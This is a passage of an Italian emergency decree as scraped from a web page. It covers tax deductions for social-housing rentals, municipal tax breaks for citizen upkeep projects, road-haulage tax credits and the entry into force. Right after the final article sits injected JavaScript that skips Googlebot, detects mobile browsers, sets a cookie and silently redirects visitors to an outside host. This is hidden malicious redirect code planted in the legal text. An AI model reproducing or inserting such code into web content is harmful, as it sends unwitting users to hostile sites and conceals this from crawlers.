fiscali di cui al presente articolo, a soggetti giuridici pubblici o
privati operanti da almeno dieci anni nel settore dell’alloggio
sociale, come definito dal decreto del Ministro delle infrastrutture
22 aprile 2008, pubblicato nella Gazzetta Ufficiale n. 146 del 24
giugno 2008, a condizione che venga mantenuto il vincolo alla
locazione alle medesime condizioni stabilite dal comma 4, lettera e),
e che il corrispettivo di usufrutto, calcolato su base annua, non sia
superiore all’importo dei canoni di locazione calcolati con le
modalita’ stabilite dal medesimo comma 4, lettera e).
5. La deduzione e’ ripartita in otto quote annuali di pari importo,
a partire dal periodo d’imposta nel quale avviene la stipula del
contratto di locazione e non e’ cumulabile con altre agevolazioni
fiscali previste da altre disposizioni di legge per le medesime
spese.
6. Le ulteriori modalita’ attuative del presente articolo sono
definite con decreto del Ministero delle infrastrutture e dei
trasporti e del Ministero dell’economia e delle finanze.
7. All’onere derivante dal presente articolo, pari a 10,1 milioni
di euro per l’anno 2015, a 19,2 milioni di euro per l’anno 2016, a
31,6 milioni di euro per l’anno 2017, a 47,7 milioni di euro per
l’anno 2018, a 45,5 milioni di euro per l’anno 2019, a 43,0 milioni
di euro per gli anni 2020 e 2021, a 43,6 milioni di euro per l’anno
2022, a 24,9 milioni di euro per l’anno 2023, a 13,9 milioni di euro
per l’anno 2024 e a 2,9 milioni di euro per l’anno 2025, si provvede,
rispettivamente:
a) quanto a 10,1 milioni di euro per l’anno 2015, a 19,2 milioni di
euro per l’anno 2016, a 1,6 milioni di euro per l’anno 2017, a 27,7
milioni di euro per l’anno 2018, a 45,5 milioni di euro per l’anno
2019, a 43,0 milioni di euro per gli anni 2020 e 2021, a 43,6 milioni
di euro per l’anno 2022, a 24,9 milioni di euro per l’anno 2023, e a
13,9 milioni di euro per l’anno 2024 e a 2,9 milioni per l’anno 2025
mediante riduzione dell’autorizzazione di spesa di cui all’articolo
10, comma 5, del decreto-legge 29 novembre 2004, n. 282, convertito,
con modificazioni, dalla legge 27 dicembre 2004, n. 307, relativa al
Fondo per interventi strutturali di politica economica;
b) quanto a 30 milioni di euro per l’anno 2017 e quanto a 20
milioni per l’anno 2018, mediante riduzione dell’autorizzazione di
spesa di cui all’articolo 2, comma 3, del decreto-legge 28 dicembre
1998, n. 451, convertito, con modificazioni, dalla legge 26 febbraio
1999, n. 40, e successive modificazioni.».
(Omissis).
Art. 24
Misure di agevolazione della partecipazione delle comunita’ locali
in materia di tutela e valorizzazione del territorio
1. I comuni possono definire con apposita delibera i criteri e le
condizioni per la realizzazione di interventi su progetti presentati
da cittadini singoli o associati, purche’ individuati in relazione al
territorio da riqualificare. Gli interventi possono riguardare la
pulizia, la manutenzione, l’abbellimento di aree verdi, piazze,
strade ovvero interventi di decoro urbano, di recupero e riuso, con
finalita’ di interesse generale, di aree e beni immobili
inutilizzati, e in genere la valorizzazione di una limitata zona del
territorio urbano o extraurbano. In relazione alla tipologia dei
predetti interventi, i comuni possono deliberare riduzioni o
esenzioni di tributi inerenti al tipo di attivita’ posta in essere.
L’esenzione e’ concessa per un periodo limitato e definito, per
specifici tributi e per attivita’ individuate dai comuni, in ragione
dell’esercizio sussidiario dell’attivita’ posta in essere. Tali
riduzioni sono concesse prioritariamente a comunita’ di cittadini
costituite in forme associative stabili e giuridicamente
riconosciute.
(Omissis).
CAPO VII
MISURE URGENTI PER LE IMPRESE
(Omissis).
Art. 32-bis
Disposizioni in materia di autotrasporto
(Omissis).
2. I contributi alle imprese di autotrasporto per l’acquisizione di
beni capitali, relativi all’articolo 2, comma 2, lettere c) e d), del
regolamento di cui al decreto del Presidente della Repubblica 27
settembre 2007, n. 227, a valere sulle risorse finanziarie destinate
al settore dell’autotrasporto dall’articolo 1, comma 89, della legge
27 dicembre 2013, n. 147, per l’esercizio finanziario 2014, nei
limiti delle risorse finanziarie effettivamente disponibili e,
comunque, non oltre complessivi 15 milioni di euro, sono fruiti
mediante credito d’imposta da utilizzare in compensazione ai sensi
dell’articolo 17 del decreto legislativo 9 luglio 1997, n. 241, e
successive modificazioni, presentando il modello F24 esclusivamente
attraverso i servizi telematici offerti dall’Agenzia delle entrate,
pena lo scarto dell’operazione di versamento, salvo che i destinatari
presentino espressa dichiarazione di voler fruire del contributo
diretto. A tal fine, il Ministero delle infrastrutture e dei
trasporti provvede al versamento delle somme occorrenti per la
regolazione contabile dei crediti da utilizzare in compensazione
sulla contabilita’ speciale n. 1778, aperta presso la Banca d’Italia
e intestata all’Agenzia delle entrate, fornendo all’Agenzia medesima
gli elenchi dei beneficiari, i relativi codici fiscali e gli importi
dei contributi unitari spettanti alle imprese. Il credito d’imposta
puo’ essere utilizzato in compensazione solo successivamente alla
comunicazione dei dati di cui al periodo precedente, da eseguire
secondo modalita’ telematiche definite d’intesa tra l’Agenzia delle
entrate e il Ministero delle infrastrutture e dei trasporti. In fase
di elaborazione dei modelli F24 presentati dalle imprese, l’Agenzia
delle entrate verifica che l’ammontare dei crediti utilizzati in
compensazione non ecceda l’importo del contributo concesso, scartando
le operazioni di versamento che non rispettano tale requisito. Al
credito d’imposta riconosciuto per le finalita’ di cui alla presente
norma non si applica il limite previsto dall’articolo 1, comma 53,
della legge 24 dicembre 2007, n. 244. Le medesime disposizioni si
applicano agli incentivi per la formazione professionale relativi
all’articolo 2, comma 2, lettera f), del regolamento di cui al
decreto del Presidente della Repubblica 27 settembre 2007, n. 227,
solo nel caso in cui il beneficiario presenti espressa dichiarazione
di voler fruire del credito d’imposta, nei limiti delle risorse
finanziarie effettivamente disponibili e, comunque, non oltre
complessivi 10 milioni di euro.
(Omissis).
CAPO X
MISURE FINANZIARIE IN MATERIA DI AMMORTIZZATORI SOCIALI IN DEROGA ED
ULTERIORI DISPOSIZIONI FINANZIARIE PER GLI ENTI TERRITORIALI
(Omissis).
Art. 45
Entrata in vigore
1. Il presente decreto entra in vigore il giorno successivo a
quello della sua pubblicazione nella Gazzetta Ufficiale della
Repubblica italiana e sara’ presentato alle Camere per la conversione
in legge.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}